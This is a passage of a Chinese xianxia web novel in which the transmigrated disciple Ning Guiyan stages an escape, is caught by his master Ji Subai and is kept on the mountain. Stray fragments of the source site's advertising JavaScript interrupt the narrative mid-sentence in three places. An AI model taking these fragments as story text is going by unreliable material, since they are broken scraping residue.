客栈门口站着林言言,她仰起头张望着周围,见到宁归砚的身影,立刻抬手招呼。 宁归砚走近去,便听见人道:“师兄师兄!师兄你出去怎么不跟我说啊?师尊叫我们快些回去,已经来接我们了,他刚刚好像出去找你了,师兄你看见师尊人了吗?” 宁归砚扯了扯唇角,变戏法似的从身后掏出来一枚发叉:“出去逛了逛,这发钗好看,可喜欢?” 林言言眼睛顿时亮了,迫不及待地伸手接过:“真好看!” 她说完,转身往客栈内看了眼:“师弟,我戴着好看吗?” 客栈内靠着门沿的人直起身,宁归砚这才知道还有人在,于是侧身离林言言远了些,心道大意了,随后在景弗点头后从兜里又掏出一个包袱。 “还买了点东西,你们俩一人一件,做工还不错,山上冷,得多穿点。” 他将手里的包袱扔给了景弗,少年神情明显一滞,片刻后抿唇收下。 “谢谢师兄。” 宁归砚弯了弯眼睛:“无事,这是师兄该做的。” 说着,后面传来脚步,有人停在他身后,冷哼一声。 “你倒是会跑,叫人好找。” 宁归砚后脊一愣,肩上一重,僵硬着笑容转身。 “师尊。” 他开口叫着,季宿白便又冷哼一声,瞧了眼景弗手上的包袱,不知道哪儿来那么大脾气,又盯着宁归砚,沉声叫林言言两人先走。 “你们先行回宗,你师兄,还得跟我去驱除庄府那些跑了的怨魂。” 语气令人胆寒。 林言言和景弗也不敢不听,得了嘱咐便挥挥手离开了。 宁归砚被迫跟着季宿白徒步行走至郊外的山林,一直走到了半山腰,虽然不远,但胜在陡峭,他的脚实在是有点疼。 手中的罗盘指针开始转动,宁归砚眼睛微眯,他转身,停在季宿白面前,对上对方发冷的眸光。 “西侧有东西,师尊,我去去就来?” 对方没出言否决,宁归砚便拿着罗盘转身朝西侧过去。 他往后瞧了瞧,季宿白没跟上来,于是简单处理了躲在此处的怨魂,将其消了怨归放,随后行至旁边的小河道。 河道内的水清,汩汩往下流,里面都是些尖利的乱石,偶尔能瞥见鱼儿的影子。 宁归砚蹲下,摘下眼纱,林中的树挡不住什么阳光,便眨了眨眼才看清水中倒影的面容。 这是宁归眼第一次看清这个世界自己的样子,眼尾狭长,似乎生来便带笑,或许是因为唇便是上扬的形状,那样具有攻击力的眸子也显得温和。 唇下的一颗痣也明显,但引起他诧异的,确是那双漆黑的眼眸。 宁归砚是混血,眸子天生就与常人不一样。 在穿过来前,他的眼睛是与那石墨山一般的色彩,是看不清情绪的朦胧。 而现在... ...变了。 变成一双平平无奇的黑眸,不值得季宿白注意,也无法让徐应称赞。 21. 拿错剧本了 “你在做什么?” 不远处低沉的男声透过飘落的叶片传来,将此刻还算平静的河面激起巨大的涟漪。 宁归砚丢了手中的石子,他拍拍手站起,眼纱已经重新戴回到他眼上,嘴角笑意淡淡,十分平静地将放在河道边的罗盘拿起,上面的指针还在转动。 “弟子有些口渴,饮些水。” 他一边说,嘴角也确实湿莹。 季宿白朝宁归砚手上的罗盘看去,压了压眼眸,将手中的剑一晃,剑身消失在身侧,随后他走近,距离宁归砚只有一个拳头的距离时,低头抬手攥住了那只托着罗盘的白皙手腕。 “没带水囊?” 宁归砚微微抬头,目光向他那只被抓住以至于有些拿不住罗盘的手。 “忘了,”说着,勾着唇,手腕动了动,“师尊,你抓疼我了。” 他又挣扎了两下,季宿白忽然手一松,力道没有落点,宁归砚不受控制地往后踉跄了两下,脚下被石子一绊,悬空的感觉就暂时占据了他所以感官。 季宿白伸出手,将人轻易地拉回来,青年的脸上还有不显眼的惊慌,撞到他胸膛的时候,不看那双眼睛便瞧出来了诧然。 宁归砚手指动了动,手臂上的温热和心跳消失,他抬目,瞧见季宿白勾了勾唇,但话可不好听。 “你似乎没有能力保护自己?听说半月前跟着门内弟子去清剿邪魔,在床上躺了数日,是疏于修习了?” 话大喇喇放出来,便是说宁归砚弱得别人一根手指都能应付几分。 可这嘲讽也不是第一次,宁归砚听着并没有什么波澜,甚至心中隐隐有些共情季宿白。 若是他闭关时莫名多了个弟子,还不似他人说的那样有什么本事,一副病弱总是拖累的模样,谁也不高兴。 这样一想,宁归砚笑了笑,像是故意恶心季宿白,掩唇轻咳着。 “是弟子疏忽,只是半月前受了重伤,这几日又再添,时而心中恍惚,师尊见谅。” 也不知道是不是真恶心到了人,他看过去的时候,季宿白扔过来一水囊,侧过的下颌线都透着生人勿进的冷漠,话却也没那么冷。 “既然身子弱,便就别喝那河内的水,要是再出了什么问题,可得让我好生操心。” 宁归砚似若没有听见他话里的意思,接过对方手里的水囊颔首,随后打开喝了两口,再递回去。 “多谢师尊关心。” 季宿白接过东西收入储物袋,也没再和宁归砚一来一回地试探,他瞥了眼宁归砚手中的罗盘,朝指针晃荡的方向注视。 随后又抬头看了看天,像是想到什么好点子,忽然道:“天色也晚了,那些跑掉的怨魂在白日难寻,我们在此等待,入夜了,便分开行动,尽量在夜间解决完这件事。” “是。” 宁归砚淡声答着,将罗盘收起,便也走到旁侧的树前,就地坐下闭上眼,一副悠然自得的模样。 夜色很快就沉了下去,宁归砚又将那罗盘拿出来,此时晃动的幅度小了很多,指针指示的方向也渐渐清晰。 他抬眼,不见刚刚还在这里闭眸养神的男人,但也没放松心情,犹豫了一会后起身,随着罗盘的方向过去。 驱除怨鬼身上的怨气是修仙宗门必修的课程之一,因此宁归砚哪怕只是读那些入门的书籍,都能知晓一二,便也能解决一两个小鬼,况且跟着季宿白久了,竟然也不怕那神神鬼鬼的东西了。 宁归砚没走远,在三里地的地方停了下来,从储物袋内拿出驱魔灯,沿着灯盏的痕迹跟随光亮追随去。 他在一处山洞前找到了两只小鬼,洞内是已经死掉的羊,想必是那日两人放跑的那群,倒了霉,被小鬼缠上,活活吓死了。 洞内的腐臭味道很重,显然是已经死了一些时日。 宁归砚警惕起来,他从天一山藏书阁的书中得知,怨鬼这东西,沾了血腥便是一脚踏入了邪魔的路子,身上沾的血越多,越是难对付,若是杀了人,便是是魔了,那样就再难转世。 宁归砚身上的活人气息没有遮掩,刚靠近洞内的东西就扑了过来。 他抬起手握住自己的法器去挡,几次下来将两个小鬼制服,随后给他们驱散了怨气放归。 准备出山洞时,宁归砚瞧见洞内羊身下的血迹,眸光一动,收起法器,走到内里抓起一块石子,石子尖利,往手上一划,便顷刻让血液往下涌。 他走出洞,手没将伤口捂住,即便脸疼得煞白,还依然往前继续走,血滴落在地上,形成了一道显眼的标记。 走了大约半刻钟,宁归砚扯下手臂上的布料,将伤处包扎好,他垂眼看向距离他仅仅只有三步的悬崖,弯了弯唇,将那枚黄玉往下一扔。 等了数息之后,宁归砚转身,唤出法器,结印设阵,在此地弄了个大动静。 他脑子还算好使,那庄府为徐娘设下的囚魂阵法,还有姓刘的骗子给张大壮的符篆,多多少少都能让他了解一些东西,因此此刻将周围一些小小的怨魂唤过来,倒也不是难事。 阵落下后,宁归砚走到悬崖边,眉头一挑,骤然跳了下去。 这崖虽然不深,但对于一个伤未痊愈再添新伤,并且还被一群怨鬼围攻的人来说,也有些难搞。 宁归砚虽然只是略懂皮毛,但也知道怎么用法器,下坠的过程中将法唤出插入崖壁边缘,随后晃着身体,朝一边的断枝跳过去,三下除五便落了地。 他拍拍身上沾上的树叶和枯枝,拉了拉身上被划破不堪入目的衣衫,皱了皱眉却没换一身,而是将长剑横在身前,以剑为阵,设立了一个聚灵阵法。 那枚徐应给他的扳指被拿出,里面流转的雾色在吸食灵气后渐渐浓郁。 宁归砚唇角弯起,将扳指放在手心画下一串符文,随后剑身为阵的区域内,在引入了一丝魔气后,他割破了自己的手指,淡色顺着扳指钻入手心,很快就让手臂伤处冒出了黑色的纹路。 纹路不深,但也看起来可怖。 术法结束后,宁归砚吐出一口血,他转动手心的扳指,暗道徐应是个狠人,在这扳指里藏了那么多魔气,也不怕那被关在里面的魂魄被冲散。 他收起东西,心情尚好,抬手在手臂上侧的经脉上重点几下,保证身体内的魔气不会继续扩散到五脏。 做完这些,宁归砚深吸一口气,手臂的颤抖让他恰好将罗盘一抖扔在了地上。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 这周围的生灵可都看见了,它自己掉的,不是我丢的。 上空忽然传来鹰叫声,宁归砚听着抬头,暗了暗眸子,心中一紧,朝山的外围去了。 他手上执着火折子,在记忆中的路清晰浮现——徐应给的那地图好用,上面刻了阵法,画的可不止是瀛东的粗略地图。 一直沿着水路行至山底边缘,再朝旁边走上一会儿便能出了这座山,再往北去,便是缷城,那地方不似廿城,找个人不容易,宁归砚一开始便想去,只是被人绊住。 他一脚往前踏几步,却忽然停住,仰起头听着夜色中的风声,遽然转身就地蹲下来,随后摘下眼在河道中清洗了一下,绑在了手心的伤处。 宁归砚低眉,微微凝住神,手中灯火将河面映照,火光下倒影出一双墨色的,浅淡的,少了情感变化的眸子,先前的黑色就像忽然沉入死水的石子,悄然无息了。 心中讶然一番,宁归砚闭了闭眼,再次投目观察去,还是那样一双能让人堕云雾中的墨灰色眼睛。 与现实世界中的眼睛一模一样。 宁归砚呼吸重了重,又若无其事地将目光移开,他坐在一旁的石块上,低头摊开那只受伤的布满黑纹的手,心中暗自思忖。 所以徐应和季宿白看见的眼睛,是这个颜色的,所以才显得惊讶,可他们在惊讶什么,是觉得这眼睛颜色奇异,还是... ... 徐应给他的那句话也足够令人怀疑,是不是和他的眼睛有关系。 而且他想离开天一山的信息几乎是明牌亮在季宿白面前,两人没有捅破而是保持着计较,甚至于对方还监视着他,很难不把这两者关联起来。 能让季宿白怀疑并且留在身边以防万一的——和魔族有关? 宁归砚叹一口气,闭了闭眼。 本以为拿的是男二的剧本,跑了就跟他没关系,没想到拿的有可能是魔族卧底的剧本,怕是出去了,也可能被魔族的那些人堵住。 而且他手里没有任何信息,说不出什么有用的东西,保不准被杀人灭口。 “啧。” 左思右想,天一山倒是个安全的地方。 树叶簌簌落下的声音渐快了,头顶的鹰叫声嘹亮,宁归砚抬头看了看,压低唇,抬手在手心捏诀施咒。 手臂上的魔气被排出一些,但他灵气有限,魔气深入经脉,也只让手臂看起来好了一点,虽然身上带有林自潜给他的保命的药丸,也能辅助彻底驱除魔气,但宁归砚可不想浪费了。 他低眸咬了咬唇,将手上的绑带解开,嘴角微微笑,火折子映入那双都是算计的眼眸。 天一山嘛,修仙的人寿命长,这山这水,他应该还有得看,也不急于早早就离开了。 看腻了那风景再走也不迟。 手中的绑带随着风飘逸去,坐在石块上的青年在头顶的鹰飞过后,两指击在胸口,无声无息晕了过去。 数息后,上空盘旋的黑鹰落在宁归砚身侧,细长的爪子将宁归砚的腰一抓,它将人往空中带,没多久人就落入了半空隐匿在树顶的男人怀中。 季宿白低眸,目光在这位大弟子脸上逡巡而过,半晌皱了皱眉,带着人消失。 22. 开门见山 风雪呼啸的山顶,有屋宅中冒出炊烟,烟雾掺杂在白皑皑之中,一时分不清来处,或许是人的吐息,或许是屋内从未用过的灶台,又或许是风吹起的雪。 季宿白走出灶间,推开西厢房的门进去。 床边有把椅子,应当是放置了很久,屋内设有暖炉,床上还放了一个汤婆子,隔着床褥,让那一片都暖烘烘的。 男人在椅子上坐下,手中把玩着一枚黄玉,定睛一看,便是宁归砚丢下山崖的那块,终归还是被主人给寻了回来。 黄玉上面氤氲着淡淡的蓝色光芒,这是季宿白设下的阵法,他将捏了捏,那光芒便几度闪动,随后消散。 应当是季宿白带来的气压过盛,又或者对方压根没有要收着气息的意思,丝丝冷意钻入宁归砚的掌心,在手心被塞入一枚还带有体温的玉佩时,那种独特的寒冷便更盛了。 宁归砚身上出了一身的冷汗,猛地睁眼时,便看见季宿白那张凑得极近还带着微笑的脸,那种平和的笑容出现在季宿白脸上,怎么瞧着怎么怪异。 心脏猛地跳动几下,宁归砚抓紧了身侧的床褥,抿着唇,从朦胧中瞧清楚季宿白的动作。 男人将手心的东西往他掌上压了压,身体也前倾来,嘴唇微张。 “舍得醒了?” 宁归砚蜷缩了下手腕,微微抬起下颌,随后偏头,两人的距离就拉得更近了。 他将手中的玉佩捂住,掌心沁出汗,面上疑惑。 “这东西,怎么在师尊哪?” 季宿白没回答他,保持着这个姿势良久,随后遽然撑起另一只手,原本握住宁归砚手的那只擒住宁归砚下颌,眸光冷漠,手上的力度也不轻,将唇角的那颗痣都压了下去。 “宁归砚,我是该说你胆子比天大呢,还是说你志向高远,难不成这天一山容不下你?” 脸上的力度又大了些,掐得宁归砚发笑。 “不让我走,又不待见我,师尊好生有理,再说了,我不是还在这里吗?怎么忽然就生气了,还是说觉得情况同你想象的有差,恼羞成怒了?” 宁归砚摊开了两人的猜忌,下颌也被高高抬起,他瞧见那张依旧平静的脸,莫名生气,好似扛不住的人只有他,输得一败涂地。 季宿白不听他辩驳,冷笑着擒住宁归砚放在身侧的那只受伤的手,扒开他的手心,应当是刻意而为,手心的伤痕保持平常的恢复速度,此刻结了痂。 他按了按伤处,见宁归砚皱着眉,最终没用力,只是碰了一碰将人手拉起,宁归砚便也跟着力度起身,没来得及反应,便一额头砸在了季宿白肩侧。 男人身形高大,虽然穿的衣物布料柔软上好,但对方也是健壮的,脑袋砸在肩侧,犹如被一拳头挥了一下,此刻疼痛就转移到额头了,连不小心将伤处扯开都没发现。 突然一声惊讶的气音和木制品的碰撞声,季宿白松开宁归砚的脸,侧身挡住人,扭头看过去,是林言言惊诧和好奇的目光,还带有那么一丝丝说不清道不明的意味。 宁归砚见状快速扭开了手,手心的疼痛也冒出来,他短“嘶”一声,压住声音里的不满询问:“谁?” 林言言听闻,将手中的汤药稳住,讪讪笑着:“师兄,我来送药,我放在这里了,我还有事情,得去找师弟探讨一下,我先走了!” 话还没说完,碗一落声音就先远去了。 季宿白低头看了看手指上染上的红,压了压眉眼,将旁边林言言放下的汤药端起递到宁归砚面前。 他冷冷道:“喝。” 那语气不像是关心人。 宁归砚也不会亏待自己,药虽然苦,但日日喝,也习惯了,一口气闷下去眉头都没皱,喝完就放到季宿白还没收回去的手上,不似那副彬彬有礼大弟子的模样。 季宿白将碗放下,站起身,看了眼宁归砚撒在床沿的玉佩,捡起来再次放在宁归砚手心。 他端起不见药液的碗,那双看透一切的眸子也蕴含了疑惑,在两人长久的寂静后,季宿白骤然开口。 “你手上那张地图,谁给你的?” 宁归砚知道自己暗地里被监视,但没想到对方跟得那么紧,想必是真怀疑他和魔族勾结。 于是开口解释:“徐应,不过我只是帮他一个小忙,怎么,你要拿宗门的规矩压我吗?” “若是要压,何须留你到现在?” 宁归砚敛下的眸子一抬,他扭头:“师尊难道不是怀疑我与魔族勾结?特地盯着我看我出错?怎么就要留我了?觉得蜂屯蚁聚了,想一网打尽?师尊可是多想了,我若是有那个本事,宗门内早早便被我挖空了... ...” 他定定瞧过去,目光毫不避讳,略带得意,拿准了季宿白此刻不会再动他,毕竟他身上疑点太多,便是连他自己都说不清。 和料想中的一样,季宿白也并未打算将他交上长老堂,心里不知道打什么主意,扬唇笑了笑。 “你是个聪明人。” 季宿白转身。 “聪明人知道什么时候该做什么,你也可以拿着你手上的东西走,就算把我施下的咒法解掉,我也能找到你,给你的东西好好收着,我不想事情还没弄明白,线索源头就没了。” 他说完,将房门关上。 屋内暖和了些,宁归砚默了半晌,将褥子往上拉了拉,重新躺下,他伸手把那枚黄玉捏在手心,随后收了表情,没多久便闭上了眼。 季宿白前往灶间,瞧见林言言拉着景弗在窃窃私语些什么,他进了门,两人便受了惊吓一般转过头来,景弗还好,林言言一脸大惊失色。 以往他们瞧着季宿白的目光最多是有些恭敬和惧怕,谁看见季宿白都是那个样子,但现在却像是看着误入歧途的同伴,欲言又止的模样瞧得季宿白皱起了眉头。 “你们师兄没什么事了,不用在此守候,下山去吧,明日开始早课,我会去督促,别迟到。” 说着,他便要离开,被林言言鼓足勇气叫住。 “师,师尊!” 季宿白扭头过去:“什么事?” 林言言掐了掐自己的手:“我留下来照顾师兄吧?山上寒气太重,而且师兄伤还没有完全好呢,而且这屋宅里有阵法,我能受得住的。” 她可是瞧见了的,早时去送药的时候,宁归砚手心的伤口还留有血色,不知道是不是做了噩梦,因此挣扎而裂开了。 她这个借口完全能拿出来顶一顶。 季宿白垂目,将手上的碗放下,轻笑了一声,让林言言脖子都一紧,揪着的手指松开背在身后,刚要开口说‘不行的话’,季宿白“嗯”了一句,十分清晰的。 “愿意呆在这里就呆在这里,东厢房还有三个房间,你们俩要是都留下来,就选个喜欢的,但明日早课不可迟到,好好照顾你师兄,他身体未痊愈,别乱跑。” 林言言半晌没有出声, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他便看过去,蹙着眉头。 “还有什么事情要说?” 林言言看了眼景弗,对方也是少许诧异,但神情掩饰得很好,稍纵即逝。 她抿了抿唇,心里松了口气,却也怀着疑惑,见季宿白再次出声,点点头应答:“知道了师尊,我一定好好照顾师兄!您放心吧!明天不会迟到的,对了,明天师兄也要去早课吗?” 季宿白迈出的脚顿了顿。 “不用。” 说完,身影就远了。 林言言哑然,看着季宿白离开后,转过头和景弗面面相觑。 她“咦”了一声,拉着景弗疑惑。 “师弟,我觉得我一定是看错了,师尊怎么可能欺负师兄呢,我看他挺关心大师兄的,一口气说了那么多字,师姐他们说的肯定都是谣言,下次见到,一定要澄清一下,对了,我还煮了汤,你喝吗?” 景弗看着林言言明亮地眼睛,压了压唇,将手臂从林言言手中轻轻抽出来。 “我都行,我去洗碗,你忙。” 说完,就冷淡地走开,比季宿白话还少。 季宿白下了山后,径直去了长老堂,堂内仅两人——林自潜和刚刚归来的三长老正商讨什么事情,言辞激烈。 外面来了人,两人便停下了争执,齐齐朝门口望去,见是季宿白,林自潜笑着走过去,拍了拍季宿白的肩膀,神色和蔼。 “小季,你舍得从你那屋子里出来了?是有什么事吗?” 他笑着,见季宿白低头瞥向那只放在肩膀上的手,讪讪笑了笑收回。 “来找大师叔,不过,您在也是一样的。” 三长老林奇见两人有事要说,抚了抚他的灰色胡须,方才和林自潜争论时的不满严肃转变为担心。 “既然师侄和他有事说,那我先离开了。” 他走上几步,又转头,目光对上林自潜,便背过手去停下来。 “不过,方才我说的事情不可随意,大赛的名额不多,言言能力还不够,不能让她去,那地方鱼龙混杂,若是伤了,我就找你麻烦。” 林自潜哼了一声:“我知道精英大赛是有点危险,但我会一路护航的,就算林言言不去,小宁也不能去,他身体不好,上次你叫他去剿邪就差点回不来,你不知道他体质不如其他弟子吗?魔气入体简直是要他的命!” 他愤慨激昂,鼻子一耸推着人走,也不顾林奇那一句“我没那个意思”。 人被赶出去,林自潜就招呼季宿白坐下。 他推出桌上的茶,问道:“林奇的小女儿在山上可呆得习惯?” 季宿白端过颔首:“尚可。” 林自潜:“小宁醒了?” 季宿白抿了一口茶,目光深邃了许多。 “醒了,我来此,便是为了他。” “他怎么了?是我给的药方不管用?还是他喝不下那些药?都是平时给他用的药,不会不管用,难不成那魔气你没给他驱干净?” 林自潜说完,又恍觉荒唐。 若是季宿白都清不干净那魔气,这天一山怕是没人能清干净了。 “我是说... ...” 他想要及时找补,季宿白将茶碗放下。 “不是这个。” “我听说我这大弟子是大师叔从山下捡回来的,那时几乎眼瞎,用了很久才恢复。” “所以,眼睛又是为什么伤了?” 23. 我是个俗人 “眼睛?” 林自潜发出疑惑,又垂下头低声叹气。 “那孩子啊... ...命苦——” 一次伤让宁归砚在山顶上呆了快半月,虽然嘴上说着还略微不适,但实际上身体好得早已经差不多了,林自潜总是送些昂贵的药材来,这要是不想好也难了。 林言言和景弗两人早已经回了山腰的弟子居,宁归砚每日就呆在卧房内捧着历青来看望他时叫人带上来的话本子,虽然是话本子,但外面早被宁归砚换成了秘籍的外皮,也没人闲得翻开去看。 正在床褥上躺着好好的,门外响起脚步声,宁归砚手动了动,将手中的话本子收起,随后将褥子往上拉,几乎盖住了脑袋。 等前来的人打开门走近,瞧见的只有宁归砚露在外面披散的黑发。 季宿白在床侧坐下,床下的木板稍稍响了响,宁归砚心中一紧,将眼睛闭得更紧了,但呼吸难免乱了一瞬。 男人倾身将宁归砚身上床褥拉起一些,周围的冷意便无孔不入,冻得宁归砚颤了颤肩膀,随后那冷意瞬间消散,分明是在故意逗弄。 “你还要在这呆多久?” 身侧响起男人低沉的声音,宁归砚藏在被褥下的手蜷缩着,他的肩膀跟随呼吸向上耸了耸,随后侧过身去,扬起一抹笑面对季宿白。 眼纱之外的男人手上拿着宁归砚藏在枕头下的话本子,明明压得好好的,却不知怎么到了人手上,对方甚至翻开来看,目光落下去,嘴角便牵动。 宁归砚觉得他的表情刺眼,抬起手便要将话本子抢过来,被拽住了手腕后便干脆脑袋一歪,直愣愣地枕在了季宿白的肩侧。 对方身体明显一僵,宁归砚脸上便带了些笑意。 等季宿白反应过来,站起身后撤步要离开时,见宁归砚没有准备地往他那侧倒下去,又抬手扶稳了人,抓住的肩膀很脆弱,骨头都咯到手指,像抓着一块干瘪的木头。 宁归砚倒也不是真的没注意,只是突发奇想,想给自己找点乐子,看季宿白的表情变化,就是他在这天一山最大的乐子了,于是便也没有抬手去撑床,咬定了对方不会让他摔了。 而且他发现,季宿白这个人,表面深沉冷漠,实则不禁逗弄,比景弗那半大小子还单纯。 压在肩膀上的那只手拿开,宁归砚抬目,对方便皱着眉头将手中的话本子往后一收,脸上的笑淡淡。 “我竟不知藏书阁内的书里,是这样的内容?” 宁归砚盯着他,笑容放大往后仰躺在床柱边,脑袋轻轻磕在床帏旁的柱子上,即便遮着眼睛,也能瞧出他脸上的戏谑。 “师尊不知道的事情可多了去了,只是话本子而已,难道师尊没见过?” 他说着,忽然张唇“哦”了一声,声调刻意恍然。 “倒是忘了,师尊贵为天之骄子,未及冠便入了天一山内门修习,可是这天一山千百年来难得一见的奇才,对这种俗物想必是不感兴趣。” 说完,宁归砚摊出手。 “师尊能还我吗?我是个俗人,对这种东西还是需要的。” 季宿白将那话本子捏在手中,抬起手瞧了眼,他微笑道:“想要的话,明日早课别迟到,我自然还你。” 说完,转过身又忽然停下。 “当然,你也可以不去,明早我会来接你,山上的结界我暂时不会解除,以后历青也不会再上来送东西,如果有需要,我亲自送上来。” 宁归砚猛地起身,哪里还有那柔柔弱弱的姿态,人都还没出门,嘴里的脏话就冒了出来。 “靠,你这是变相囚禁!” 愤怒的斥责声消失在了房门之后。 翌日天光乍现,宁归砚还未醒神就被迫给拎了起来,他艰难睁开眼睛,瞧见的是季宿白那张冷冰冰的脸,脾气就更不好了,直接抬起手在对方抓住他手臂的手上拍了一下。 “我自己会起来。” 话到嘴边,差点把那句“再抓着我,我就不客气了”扔出去。 好在宁归砚最近特别嚣张,但还是有些分寸,感觉到对方要生气了便收了性子,点到为止就好了,没必要真计较起来,他可打不过季宿白。 季宿白松了宁归砚的手臂,掩唇轻咳了一声。 “衣服穿好,跟我下山。” 宁归砚闻言低头,瞧见他的衣领处露出一大片雪白痕迹,胸口右侧的那颗和唇下大小一样的痣格外显眼。 他垂着头,倏然笑一声,将衣服不紧不慢地穿上,整理完毕之后,走到季宿白身边,侧目看过去,盯着对方稍红的耳朵笑了一声。 “师尊,我又不是女儿家,你怎么耳朵都红了。” 话落,凌冽的寒意在肩侧划过,季宿白冷冷看过来,有些藏不住的恼羞成怒。 “如果你继续磨磨蹭蹭,我不介意把你扔下山,想必你命大,也死不了。” 宁归砚没再戏弄他了,拢了拢衣袖走出门去清洗了一番,随后跟着季宿白捏符去往山腰的小竹林。 竹林不算大,但此刻却是热闹,一群人挤在一块,特别是站在林言言身边的妇人和中年男子,格外瞩目。 宁归砚跟在季宿白身后,见林言言拉着妇人的手撒了一番娇,幡然醒悟。 哦,林言言的父母,还是长老堂的人。 这一想起来,对宁归砚来说不算好的情节就在脑海里被播放,林言言身边那个男人看过来时,他心中一颤,脸上的笑意顿时散了去,但很快就再次聚合起来。 “小宁身体可好些了?” 宁归砚见林言言招呼他,走过去林奇便沉着声询问他的情况,倒也的确是关心的姿态,旁侧的高夫人也走过来,拉着宁归砚的手轻柔地拍了拍。 “听说你下山时不慎中了邪魔的计谋,魔气入了经脉?你身体本就不好,经脉也不牢固,以后千万要小心,也别逞能,首先要保证自己的安全,现在可好些了?” 高夫人名叫高灵,是瀛东北边竺兰派的人,年少时两家便订了婚,林言言的出生也算是顺其自然。 这样好的家世,可偏偏看中了徒有天赋的宁归砚,想必是为了给林言言以后铺路,毕竟在林言言和景弗拜入季宿白门下前,能承掌门之位的,极有可能是他。 宁归砚不动声色抽出了手,微笑着行礼。 “多谢师叔祖师婶关心,身体已经好了,不必担忧。” 高灵满意地点了点头:“那就好,那就好,不必多礼,我们就是来看看言言,快半年没见着她了,有些想念,顺道送点东西来,也烦你多照顾照顾你师妹了!” 她说完,朝旁边看了眼,对季宿白颔首。 “既然掌门来了,那就不便叨扰了。” 她朝看林奇一眼,两人便准备离开,季宿白跟上,说是送送,随后就远了身影。 宁归砚找了个凳子坐下来,正要拿出他那装模作样的秘籍来,见天光暗得很,便就没折磨自己的眼睛。 林言言在宁归砚坐下后便拉着景弗跑到他身边,正要笑着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开口询问,就见宁归砚低眉一瞥,收起手上的书,低声道:“景师弟今年可是要及冠了?” 景弗一愣,点点头应了一声。 “嗯。” 宁归砚皱了皱眉:“什么时候,告诉师兄一声,好给你准备及冠礼,不能怠慢了,你师姐比你要大一些,已经十八了,我之后会一同补上。” 林言言没听懂其中奥义,瘪着嘴不满:“十八怎么啦?师兄是嫌弃我了?我才不要那些东西,师兄莫要拿我打趣。” 宁归砚哪里这样意思,摇着头站起身。 “师兄没这个意思,在这里给你赔个不是了,快去修习吧,等会你师尊瞧见你们迟迟不动,要生气了。” 林言言一想也是,抓起木桌上的剑,靠近宁归砚,可对方却忽然后撤一步,让林言言愣了愣,随后才开口问道:“师兄,你跟我们一起吗?今天的早课有点难。” 宁归砚不动声色接过那只木剑,浅浅笑着,单手一甩将其扔给景弗。 “你们先过去吧。” 两人颔首,拿着那两柄木剑就进了小竹林深处,宁归砚就径直坐下,撑着石桌托着下颌,没多久就发起来呆,哪里有要和林言言他们一块修习的样子,分明是在糊弄人。 季宿白将林奇夫妇送走,回来时便瞧见宁归砚撑着脑袋,跟小鸡啄米似的点头,不远处的景弗原本被林言言催促着去找人,见季宿白过来了,就又回去了。 宁归砚大概晚上没睡好,这会人站到他面前还没发现,知道撑着手快坚持不住时,才有一双手伸过来托住他的脑袋,脑子也随之一下子清晰了。 他抬起头,季宿白将手收回去,沉沉看着他,随后瞟向宁归砚放在石桌上的书册。 “是我招待不周?坐着也能睡着?” 像是平淡的问候让宁归砚少了些戾气。 他站起身,揉了揉已经麻了的手腕。 “师尊说笑了,山上挺好的,只是不小心睡着了,师尊莫要责怪。” 季宿白没追责,背过手朝竹林西边走去,并且叫宁归砚跟上。 “正好,我还没瞧过你的剑法,随我来。” 宁归砚跟着上前去,心中隐隐有不好的预感,在停下脚步,瞧见对方抬手将他腰间的玉笛唤过时,那种预感就更强烈了。 季宿白将玉笛摊在手心,站定在宁归砚面前,薄唇轻启,说的话让宁归砚想要一头撞死在旁边的竹子上。 “使一套连天剑法给我看看。” 宁归砚看着他日日都会拿出来耍耍的玉笛,抿唇接过。 连天剑法是门内的高级剑法了,要是换以前的宁归砚,用一套不在话下,但他现在可不是原主,别说连天剑法了,就是那些藏书阁内内门弟子修习的剑法,他用的都生疏,何况他连招式都没背,厚着脸皮也用不来。 宁归砚沉默半晌,将玉笛捏在手心垂下,梗着脖子朝一侧低头看,低语了一句。 “什么?” 季宿白拔高声音问了一句,惹得旁边正对招式对得激烈的两位小弟子看过来,发出好奇担忧的目光,显然还是觉得季宿白欺压大弟子这事有点真。 宁归砚脸上难得发热,滚了滚喉咙,自暴自弃地挥手将玉笛收回储物袋,声音更闷了。 “说了,不会。” 语气颇有些理直气壮的羞愧。 空气静了一会,季宿白忽然动了脚步,轻笑一声经过宁归砚身侧,留下一句“明日搬到阁安居。” 也没说是为何。 24. 谁教你的 季宿白有一点好也不好,便是说什么就是什么,不容许其他人反驳,也不会让事情发生在料想之外,就是发生了,也能一手拽回去。 所以宁归砚在午时就被人抓着上了山。 因结界解除的原因,山上可比他前几日呆的时候冷得多,何况旁边还站着个向来不喜欢收敛气息的活阎王。 宁归砚将屋内的东西放进包袱,基本就是他让历青从自己房内找来的几本‘秘籍’和一些衣服,还有他遗落下的药。 不出半刻钟他便收拾完了,跨上包袱走出房门,门边靠着的季宿白便直起身,朝他手中的包袱瞧了一眼,蹙着眉头开口:“历青就给你拿这些东西上来?” 宁归砚不懂他什么意思,耸了耸肩:“弟子需要的只有这些,难不成师尊真想把我囚在这山上一辈子?” 他弯眼跨出步子,搭在肩膀上扯着包袱的手放下,袖子刚刚好挡住手指,也能遮挡一些风雪。 还没等他缩缩脖子来装一番可怜好让季宿白收了他的神通,周围的风雪便忽然停了,原本跟在身后的男人快步走到前方,宽阔的背脊挡住宁归砚好些视线。 季宿白走在前面,感觉不到身后的脚步,便停下来,皱了皱眉朝后看,宁归砚呆站在原地,表情有些怔愣。 他挥了挥衣袖:“愣着做什么,我还不至于故意折磨你,当然,你想呆在这里的话,请便。” 宁归砚歪了歪头,他向前走,途径季宿白的身边时扬唇一笑,侧目过去视线落在季宿白那张堪称惊天动地的脸上。 “师尊真是体贴,我不过我可不想呆在这,有点恐高。” 说罢抬步离开,留下一阵温热的气息。 季宿白拧眉默了一阵——是浓重的草药味,但不算难闻。 将人带到阁安居之后,季宿白留下一句“明日在此早课,我亲自教导”后就离开了,宁归砚也没有多问的习惯,就在阁安居呆了半日,夜间主角两人前来探望的时候才慢悠悠地出了厢房。 第二日宁归砚没见到林言言两人,没将疑惑藏着。 “师弟师妹不来?” 他抬目看着池塘旁石桌前坐着细细品茶的人,走过去将手拍了拍桌面,喝茶的男人这才放下茶盏抬头应了他的话。 